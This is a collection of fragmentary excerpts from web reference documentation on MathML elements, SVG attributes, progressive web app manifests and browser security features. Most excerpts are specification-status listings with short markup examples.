WebMathMLElementmsup
examples sample rendering: rendering in your browser: x 2 <math> <msup> <mi>x</mi> <mn>2</mn> </msup> </math> specifications specification status comment mathml 3.0the definition of 'msup' in that specification.
... recommendation current specification mathml 2.0the definition of 'msup' in that specification.
... recommendation initial specification ...
<mtable> - MathML
WebMathMLElementmtable
"solid" align="axis 3"> <mtr> <mtd><mi>a</mi></mtd> <mtd><mi>b</mi></mtd> </mtr> <mtr> <mtd><mi>c</mi></mtd> <mtd><mi>d</mi></mtd> </mtr> <mtr> <mtd><mi>e</mi></mtd> <mtd><mi>f</mi></mtd> </mtr> </mtable> </math> specifications specification status comment mathml 3.0the definition of 'mtable' in that specification.
... recommendation current specification mathml 2.0the definition of 'mtable' in that specification.
... recommendation initial specification ...
<mtd> - MathML
WebMathMLElementmtd
specifications specification status comment mathml 3.0the definition of 'mtd' in that specification.
... recommendation current specification mathml 2.0the definition of 'mtd' in that specification.
... recommendation initial specification ...
<mtr> - MathML
WebMathMLElementmtr
specifications specification status comment mathml 3.0the definition of 'mtr' in that specification.
... recommendation current specification mathml 2.0the definition of 'mtr' in that specification.
... recommendation initial specification ...
<munder> - MathML
WebMathMLElementmunder
examples sample rendering: rendering in your browser: x + y + z ⏟ <math> <munder accentunder="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> &#x23df; <!--bottom curly bracket--> </mo> </munder> </math> specifications specification status comment mathml 3.0the definition of 'munder' in that specification.
... recommendation current specification mathml 2.0the definition of 'munder' in that specification.
... recommendation initial specification ...
<munderover> - MathML
examples sample rendering: rendering in your browser: ∫ 0 ∞ <math displaystyle="true"> <munderover > <mo> &#x222b; <!--integral--> </mo> <mn> 0 </mn> <mi> &#x221e; <!--infinity--> </mi> </munderover> </math> specifications specification status comment mathml 3.0the definition of 'munderover' in that specification.
... recommendation current specification mathml 2.0the definition of 'munderover' in that specification.
... recommendation initial specification ...
<semantics> - MathML
</ci> <cn type="integer">2</cn> </apply> <ci>y</ci> </apply> </annotation-xml> <!-- annotate an image --> <annotation encoding="image/png" src="some/path/formula.png"/> <!-- annotate tex --> <annotation encoding="application/x-tex"> x^{2} + y </annotation> </semantics> </math> specifications specification status comment mathml 3.0the definition of 'mixing markup languages for mathematical expressions' in that specification.
... recommendation current specification mathml 2.0the definition of 'combining presentation and content markup ' in that specification.
... recommendation initial specification ...
Privacy, permissions, and information security
these start at the web server, include the very communication layer used over the network, and then extend through the web browser's security offerings before reaching your web app code and the efforts it takes to secure itself and the data the user entrusts to it.
...p) hpkp is used by servers to instruct a client to associate a specific public key with the server going forward in order to decrease the likelihood of man-in-the-middle attacks http strict transport security (hsts) hsts is used by servers to let them protect themselves from protocol downgrade and cookie hijack attacks by letting sites tell clients that they can only use https to communicate with the server http/2 while http/2 technically does not have to use encryption, most browser developers are only supporting it when used with https, so it can be thought of in that regard as being security-related permissions api provides a way to determine the status of permissions for the current browser context transport layer security (tls); formerly k...
... while specifications for these technologies either state or recommend tactics for handling situations like this, browsers may offer different solutions to improve security even further or to try new features, or try to reduce complexity for users, among other possible reasons.
How to make PWAs installable - Progressive web apps (PWAs)
the js13kpwa.webmanifest file of the js13kpwa web app is included in the <head> block of the index.html file using the following line of code: <link rel="manifest" href="js13kpwa.webmanifest"> there are a few common kinds of manifest file that have been used in the past: manifest.webapp was popular in firefox os app manifests, and many use manifest.json for web manifests as the contents are organized in a json structure.
...beyond that, everything is optional, though the description, short_name, and start_url fields are recommended.
... summary in this article, we learned about how we can make pwas installable with a properly-configured web manifest, and how the user can then install the pwa with the "add to home screen" feature of their browser.
Graphic design for responsive sites - Progressive web apps (PWAs)
for example, if your desktop layout includes a large header graphic and several programmatic graphics (e.g.
... programmatic images you should also try to use programmatic/vector graphics as much as possible, as they theoretically scale infinitely so will still look crisp at high resolutions.
... css as well as adding programmatic graphical effects to links (and anywhere else you might want them), css3 also allows you to write declarative animations and transitions.
Structural overview of progressive web apps - Progressive web apps (PWAs)
that way, the next time someone visits the app from the device, the ui loads from the cache immediately and any new content is requested from the server (if it isn’t available in the cache already).
...you can <a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa"> fork js13kpwa on github</a> to check its source code.</p> <button id="notifications">request dummy notifications</button> <section id="content"> // content inserted in here </section> </main> <footer> <p>© js13kgames 2012-2018, created and maintained by <a href="http://end3r.com"> andrzej mazur</a> from <a href="http://enclavegames.com">enclave games</a>.</p> </footer> </body> </html> the <head> section contains basic information about the app, including its title, description,...
... { slug: 'emma-3d', name: 'emma-3d', author: 'prateek roushan', twitter: '', website: '', github: 'github.com/coderprateek/emma-3d' } ]; each entry in the array games describes a specific game, and has a corresponding image file in the data/img/ directory.
alignment-baseline - SVG: Scalable Vector Graphics
specifications specification status comment css inline layoutthe definition of 'alignment-baseline' in that specification.
... candidate recommendation refers to the definition in css inline layout and notes the changes to auto, before-edge, after-edge, text-before-edge, and text-after-edge scalable vector graphics (svg) 1.1 (second edition)the definition of 'alignment-baseline' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
amplitude - SVG: Scalable Vector Graphics
the amplitude attribute controls the amplitude of the gamma function of a component transfer element when its type attribute is gamma.
... four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> usage notes value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'amplitude' in that specification.
... recommendation initial definition ...
baseline-shift - SVG: Scalable Vector Graphics
specifications specification status comment css inline layoutthe definition of 'alignment-baseline' in that specification.
... candidate recommendation refers to the definition in css inline layout and notes that vertical-align should be preferred.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
bbox - SVG: Scalable Vector Graphics
WebSVGAttributebbox
only one element is using this attribute: <font-face> usage notes value <string> default value none animatable no <string> a comma-separated list of exactly four numbers specifying, in order, the lower left x, lower left y, upper right x, and upper right y of the bounding box for the complete font.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'bbox' in that specification.
... recommendation initial definition ...
clip-path - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specifications specification status comment css masking module level 1the definition of 'clip-path' in that specification.
... candidate recommendation extends its application to html elements.
... recommendation initial definition (applies to svg elements only).
clip - SVG: Scalable Vector Graphics
WebSVGAttributeclip
specifications specification status comment css masking module level 1the definition of 'clip' in that specification.
... candidate recommendation deprecates clip property, suggests clip-path as replacement.
... recommendation initial definition ...
clipPathUnits - SVG: Scalable Vector Graphics
specifications specification status comment css masking module level 1the definition of 'clippathunits' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'clippathunits' in that specification.
... recommendation initial definition ...
color-interpolation - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'color-interpolation' in that specification.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'color-interpolation' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
color - SVG: Scalable Vector Graphics
WebSVGAttributecolor
nds on user agent animatable yes example html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <g color="green"> <rect width="50" height="50" fill="currentcolor" /> <circle r="25" cx="70" cy="70" stroke="currentcolor" fill="none" stroke-width="5" /> </g> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'color' in that specification.
... candidate recommendation removed the restriction to which elements it applies.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
contentStyleType - SVG: Scalable Vector Graphics
usage notes value one of the content types specified in the media types default value text/css animatable no since css is the only widely deployed style sheet language for online styling and it's already defined as default value if contentstyletype is ommitted, the attribute is not well supported in user agents.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'contentscripttype' in that specification.
... recommendation initial definition ...
display - SVG: Scalable Vector Graphics
WebSVGAttributedisplay
specifications specification status comment scalable vector graphics (svg) 2the definition of 'display' in that specification.
... candidate recommendation refers to the css 2 specification of the display property, but outlines the differences regarding svg.
... recommendation initial definition ...
dominant-baseline - SVG: Scalable Vector Graphics
="60" cy="70" r="3" fill="red" /> <circle cx="60" cy="120" r="3" fill="red" /> <circle cx="60" cy="170" r="3" fill="red" /> <circle cx="60" cy="220" r="3" fill="red" /> <circle cx="60" cy="270" r="3" fill="red" /> <style><![cdata[ text { font: bold 30px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of 'dominant-baseline' in that specification.
... candidate recommendation refers to the specification in working draft and explicitly mentions the removal of the values use-script, no-change, and reset-size.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
dur - SVG: Scalable Vector Graphics
WebSVGAttributedur
itʼs possible to combine those time representations to create some complex durations like hh:mm:ss.iii or mm:ss.iii.
... specifications specification status comment svg animations level 2the definition of 'dur' in that specification.
... recommendation initial definition ...
fill-opacity - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specifications specification status comment scalable vector graphics (svg) 2the definition of 'fill-opacity' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'fill-opacity' in that specification.
... recommendation initial definition for shapes and texts ...
fill-rule - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specifications specification status comment scalable vector graphics (svg) 2the definition of 'fill-rule' in that specification.
... candidate recommendation definition for shapes and text scalable vector graphics (svg) 1.1 (second edition)the definition of 'fill-rule' in that specification.
... recommendation initial definition for shapes and text ...
font-family - SVG: Scalable Vector Graphics
specifications specification status comment css fonts module level 4the definition of 'generic font families' in that specification.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-family' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
font-size-adjust - SVG: Scalable Vector Graphics
specifications specification status comment css fonts module level 3the definition of 'font-size-adjust' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-size-adjust' in that specification.
... recommendation initial definition ...
font-size - SVG: Scalable Vector Graphics
specifications specification status comment css fonts module level 3the definition of 'font-size' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-size' in that specification.
... recommendation initial definition ...
font-stretch - SVG: Scalable Vector Graphics
h>, <text>, <textpath>, <tref>, and <tspan> usage notes value <font-stretch-absolute>where <font-stretch-absolute> = normal | ultra-condensed | extra-condensed | condensed | semi-condensed | semi-expanded | expanded | extra-expanded | ultra-expanded | <percentage> default value normal animatable yes specifications specification status comment css fonts module level 4the definition of 'font-stretch' in that specification.
... candidate recommendation initial definition of font-stretch in css fonts scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-stretch' in that specification.
... recommendation initial definition ...
font-style - SVG: Scalable Vector Graphics
specifications specification status comment css fonts module level 4the definition of 'font-style' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-style' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
font-weight - SVG: Scalable Vector Graphics
specifications specification status comment css fonts module level 4the definition of 'font-weight' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'font-weight' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
format - SVG: Scalable Vector Graphics
WebSVGAttributeformat
ble font resource embedded-opentype embedded opentype type-1 postscript™ type 1 truetype truetype opentype opentype, including truetype open truetype-gx truetype with gx extensions speedo speedo intellifont intellifont specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'format for <glyphref>' in that specification.
... recommendation initial definition for <glyphref> scalable vector graphics (svg) 1.1 (second edition)the definition of 'format for <altglyph>' in that specification.
... recommendation initial definition for <altglyph> ...
fx - SVG: Scalable Vector Graphics
WebSVGAttributefx
="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt">(cx,cy)</text> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'fx' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'fx' in that specification.
... recommendation initial definition ...
fy - SVG: Scalable Vector Graphics
WebSVGAttributefy
="white" stroke-width="2"/> <circle cx="35" cy="35" r="2" fill="white" stroke="white"/> <circle cx="60" cy="60" r="2" fill="white" stroke="white"/> <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text> <text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt">(cx,cy)</text> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'fy' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'fy' in that specification.
... recommendation initial definition ...
g1 - SVG: Scalable Vector Graphics
WebSVGAttributeg1
two elements are using this attribute: <hkern> and <vkern> context notes value <name># default value none animatable no <name># this value indicates a comma-separated sequence of glyph names (i.e., values that match glyph-name attributes on <glyph> elements) which identify a set of possible first glyphs in the kerning pair.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'g1' in that specification.
... recommendation initial definition ...
g2 - SVG: Scalable Vector Graphics
WebSVGAttributeg2
two elements are using this attribute: <hkern> and <vkern> context notes value <name># default value none animatable no <name># this value indicates a comma-separated sequence of glyph names (i.e., values that match glyph-name attributes on <glyph> elements) which identify a set of possible second glyphs in the kerning pair.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'g2' in that specification.
... recommendation initial definition ...
glyph-orientation-vertical - SVG: Scalable Vector Graphics
note: text set in this "rotated" manner may contain ligatures or other glyph combining and reordering common to the language and script.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'glyph-orientation-vertical' in that specification.
... recommendation initial definition ...
glyphRef - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'glyphref for <glyphref>' in that specification.
... recommendation initial definition for <glyphref> scalable vector graphics (svg) 1.1 (second edition)the definition of 'altglyph for <altglyph>' in that specification.
... recommendation initial definition for <altglyph> ...
horiz-adv-x - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'horiz-adv-x for <glyph> and <missing-glyph>' in that specification.
... recommendation initial definition for <glyph> and <missing-glyph> scalable vector graphics (svg) 1.1 (second edition)the definition of 'horiz-adv-x for <font>' in that specification.
... recommendation initial definition for <font> ...
id - SVG: Scalable Vector Graphics
WebSVGAttributeid
specifications specification status comment scalable vector graphics (svg) 2the definition of 'id' in that specification.
... candidate recommendation defines the allowed values in more detail.
... recommendation initial definition ...
lengthAdjust - SVG: Scalable Vector Graphics
</text> </g> </svg> usage notes value spacing | spacingandglyphs default value spacing animatable yes specifications specification status comment scalable vector graphics (svg) 2the definition of 'lengthadjust' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'lengthadjust' in that specification.
... recommendation initial definition ...
marker-end - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'marker-end' in that specification.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'marker-end' in that specification.
... recommendation initial definition ...
marker-mid - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'marker-mid' in that specification.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'marker-mid' in that specification.
... recommendation initial definition ...
marker-start - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'marker-start' in that specification.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'marker-start' in that specification.
... recommendation initial definition ...
markerHeight - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'markerheight' in that specification.
... candidate recommendation allowed percentage and number values.
... recommendation initial definition ...
markerUnits - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'markerunits' in that specification.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'markerunits' in that specification.
... recommendation initial definition ...
markerWidth - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'markerwidth' in that specification.
... candidate recommendation allowed percentage and number values.
... recommendation initial definition ...
mask - SVG: Scalable Vector Graphics
WebSVGAttributemask
ble effects mostly on the following nineteen elements: <a>, <circle>, <clippath>, <ellipse>, <g>, <glyph>, <image>, <line>, <marker>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <svg>, <symbol>, <text>, <use> usage notes value see the css property mask default value none animatable yes specifications specification status comment css masking module level 1the definition of 'mask' in that specification.
... candidate recommendation extends its usage to html elements.
... recommendation initial definition ...
maskContentUnits - SVG: Scalable Vector Graphics
specifications specification status comment css masking module level 1the definition of 'maskcontentunits' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'maskcontentunits' in that specification.
... recommendation initial definition ...
maskUnits - SVG: Scalable Vector Graphics
specifications specification status comment css masking module level 1the definition of 'maskunits' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'maskunits' in that specification.
... recommendation initial definition ...
media - SVG: Scalable Vector Graphics
WebSVGAttributemedia
specifications specification status comment scalable vector graphics (svg) 2the definition of 'media' in that specification.
... candidate recommendation changed the value definition from different media types as defined in css 2 to <media-query-list>.
... recommendation initial definition ...
method - SVG: Scalable Vector Graphics
WebSVGAttributemethod
specifications specification status comment scalable vector graphics (svg) 2the definition of 'method' in that specification.
... candidate recommendation described the stretch value in more detail.
... recommendation initial definition ...
name - SVG: Scalable Vector Graphics
WebSVGAttributename
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'name for <font-face-name>' in that specification.
... recommendation initial definition for <font-face-name> scalable vector graphics (svg) 1.1 (second edition)the definition of 'name for <color-profile>' in that specification.
... recommendation initial definition for <color-profile> ...
onclick - SVG: Scalable Vector Graphics
WebSVGAttributeonclick
<tspan>, <use>, <view> html, body, svg { height: 100%; margin: 0; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" onclick="alert('you have clicked the circle.')" /> </svg> usage notes value <anything> default value none animatable no specifications specification status comment scalable vector graphics (svg) 2the definition of 'onclick' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'onclick' in that specification.
... recommendation initial definition ...
operator - SVG: Scalable Vector Graphics
specifications specification status comment filter effects module level 1the definition of 'operator for <femorphology>' in that specification.
... recommendation initial definition for <femorphology> scalable vector graphics (svg) 1.1 (second edition)the definition of 'operator for <fecomposite>' in that specification.
... recommendation initial definition for <fecomposite> ...
order - SVG: Scalable Vector Graphics
WebSVGAttributeorder
it is recommended that only small values (e.g., 3) be used; higher values may result in very high cpu overhead and usually do not produce results that justify the impact on performance.
... specifications specification status comment filter effects module level 1the definition of 'order' in that specification.
... recommendation initial definition ...
orient - SVG: Scalable Vector Graphics
WebSVGAttributeorient
specifications specification status comment scalable vector graphics (svg) 2the definition of 'orient' in that specification.
... candidate recommendation added the auto-start-reverse value and simplified the descriptions of the values.
... recommendation initial definition ...
pathLength - SVG: Scalable Vector Graphics
value <number> default value none animatable yes specification specification status comment scalable vector graphics (svg) 2the definition of 'pathlength' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'pathlength' in that specification.
... recommendation initial definition ...
patternContentUnits - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'patterncontentunits' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'patterncontentunits' in that specification.
... recommendation initial definition ...
patternTransform - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'patterntransform' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'patterntransform' in that specification.
... recommendation initial definition ...
patternUnits - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'patternunits' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'patternunits' in that specification.
... recommendation initial definition ...
pointer-events - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'pointer-events' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'pointer-events' in that specification.
... recommendation initial definition ...
preserveAspectRatio - SVG: Scalable Vector Graphics
default value xmidymid meet animatable yes specification specification status comment filter effects module level 1the definition of 'preserveaspectratio' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'preserveaspectratio' in that specification.
... recommendation initial definition ...
rendering-intent - SVG: Scalable Vector Graphics
note: this option is generally not recommended.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'rendering-intent' in that specification.
... recommendation initial definition ...
shape-rendering - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'shape-rendering' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'shape-rendering' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
spacing - SVG: Scalable Vector Graphics
WebSVGAttributespacing
specifications specification status comment scalable vector graphics (svg) 2the definition of 'spacing' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'spacing' in that specification.
... recommendation initial definition ...
specularExponent - SVG: Scalable Vector Graphics
value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'specularexponent for <fespecularlighting>' in that specification.
... recommendation initial definition for <fespecularlighting> scalable vector graphics (svg) 1.1 (second edition)the definition of 'specularexponent for <fespotlight>' in that specification.
... recommendation initial definition for <fespotlight> ...
startOffset - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'startoffset' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'startoffset' in that specification.
... recommendation initial definition ...
stop-color - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'stop-color' in that specification.
... candidate recommendation added a note that in svg the transparent keyword is treated differently than in css.
... recommendation initial definition ...
stop-opacity - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'stop-opacity' in that specification.
... candidate recommendation refers to the definition in css colors 3, but allows percentage values.
... recommendation initial definition ...
stroke-dashoffset - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'stroke-dashoffset' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-dashoffset' in that specification.
... recommendation initial definition for shapes and texts ...
stroke-linecap - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'stroke-linecap' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-linecap' in that specification.
... recommendation initial definition for shapes and texts ...
stroke-linejoin - SVG: Scalable Vector Graphics
owing pink lines highlight the position of the path for each stroke --> <g id="p"> <path d="m1,5 l2,-3 l2,3" stroke="pink" fill="none" stroke-width="0.025" /> <circle cx="1" cy="5" r="0.05" fill="pink" /> <circle cx="3" cy="2" r="0.05" fill="pink" /> <circle cx="5" cy="5" r="0.05" fill="pink" /> </g> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'stroke-linejoin' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-linejoin' in that specification.
... recommendation initial definition for shapes and texts ...
stroke-miterlimit - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'stroke-miterlimit' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-miterlimit' in that specification.
... recommendation initial definition for shapes and texts ...
stroke-opacity - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'stroke-opacity' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-opacity' in that specification.
... recommendation initial definition for shapes and texts ...
stroke-width - SVG: Scalable Vector Graphics
legend compatibility unknown compatibility unknown specification specification status comment scalable vector graphics (svg) 2the definition of 'stroke-width' in that specification.
... candidate recommendation definition for shapes and texts scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke-width' in that specification.
... recommendation initial definition for shapes and texts ...
stroke - SVG: Scalable Vector Graphics
WebSVGAttributestroke
id="mygradient"> <stop offset="0%" stop-color="green" /> <stop offset="100%" stop-color="white" /> </lineargradient> </defs> <circle cx="15" cy="5" r="4" fill="none" stroke="url(#mygradient)" /> </svg> usage notes value <paint> default value none animatable yes specifications specification status comment scalable vector graphics (svg) 2the definition of 'stroke' in that specification.
... candidate recommendation definition for shapes and texts.
... recommendation initial definition for shapes and texts browser compatibility the compatibility table on this page is generated from structured data.
style - SVG: Scalable Vector Graphics
WebSVGAttributestyle
specifications specification status comment scalable vector graphics (svg) 2the definition of 'style' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'style' in that specification.
... recommendation initial definition ...
surfaceScale - SVG: Scalable Vector Graphics
value <number> default value 1 animatable yes specifications specification status comment filter effects module level 1the definition of 'surfacescale for <fediffuselighting>' in that specification.
... recommendation initial definition for <fediffuselighting> scalable vector graphics (svg) 1.1 (second edition)the definition of 'surfacescale for <fespecularlighting>' in that specification.
... recommendation initial definition for <fespecularlighting> ...
tableValues - SVG: Scalable Vector Graphics
style="filter: url(#componenttransfer1);" /> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" style="filter: url(#componenttransfer2); transform: translatex(220px);" /> </svg> usage notes value <list-of-numbers> default value empty list resulting in identity transfer animatable yes <list-of-numbers> this value holds a comma- and/or space-separated list of <number>s, which define a lookup table for the color component transfer function.
... specifications specification status comment filter effects module level 1the definition of 'tablevalues' in that specification.
... recommendation initial definition ...
text-anchor - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'text-anchor' in that specification.
... candidate recommendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-anchor' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
text-rendering - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'text-rendering' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-rendering' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
textLength - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'textlength' in that specification.
... candidate recommendation allowed percentages and numbers as values.
... recommendation initial definition ...
to - SVG: Scalable Vector Graphics
WebSVGAttributeto
specifications specification status comment svg animations level 2the definition of 'to for <set>' in that specification.
... recommendation initial definition for <set> scalable vector graphics (svg) 1.1 (second edition)the definition of 'to for <animate>, <animatecolor>, <animatemotion>, and <animatetransform>' in that specification.
... recommendation initial definition for <animate>, <animatecolor>, <animatemotion>, and <animatetransform> ...
transform - SVG: Scalable Vector Graphics
example html,body,svg { height:100% } <svg viewbox="-5 -5 10 10" xmlns="http://www.w3.org/2000/svg"> <rect x="-3" y="-3" width="6" height="6" /> <rect x="-3" y="-3" width="6" height="6" fill="red" transform="skewy(30)" /> </svg> specification specification status comment css transforms level 2the definition of 'transform' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'transform' in that specification.
... recommendation initial definition ...
unicode-bidi - SVG: Scalable Vector Graphics
specifications specification status comment css writing modes module level 3the definition of 'unicode-bidi' in that specification.
... proposed recommendation svg 2 only refers to css writing modes.
... recommendation initial definition ...
unicode-range - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <urange># default value none animatable no <urange># this value is a comma-separated list of iso 10646 characters possibly covered by the glyphs in the font.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'unicode-range' in that specification.
... recommendation initial definition ...
vert-adv-y - SVG: Scalable Vector Graphics
value <number> default value <font>ʼs vert-adv-y value animatable no <number> this value indicates the vertical advance of the glyph in vertical direction specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'vert-adv-y for <glyph> and <missing-glyph>' in that specification.
... recommendation initial definition for <glyph> and <missing-glyph> scalable vector graphics (svg) 1.1 (second edition)the definition of 'vert-adv-y for <font>' in that specification.
... recommendation initial definition for <font> ...
widths - SVG: Scalable Vector Graphics
WebSVGAttributewidths
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value is a comma-separated list of ucs range values as defined in iso 10646, each followed by one or more glyph widths.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'widths' in that specification.
... recommendation initial definition ...
xlink:title - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'seed' in that specification.
... candidate recommendation deprecated the attribute and made it only apply to <a>, <image>, <lineargradient>, <pattern>, <radialgradient>, <script>, <textpath>, and <use> scalable vector graphics (svg) 1.1 (second edition)the definition of 'seed' in that specification.
... recommendation initial definition ...
xml:space - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'xml:space' in that specification.
... candidate recommendation deprecates the attribute and suggests to use white-space instead.
... recommendation initial definition ...
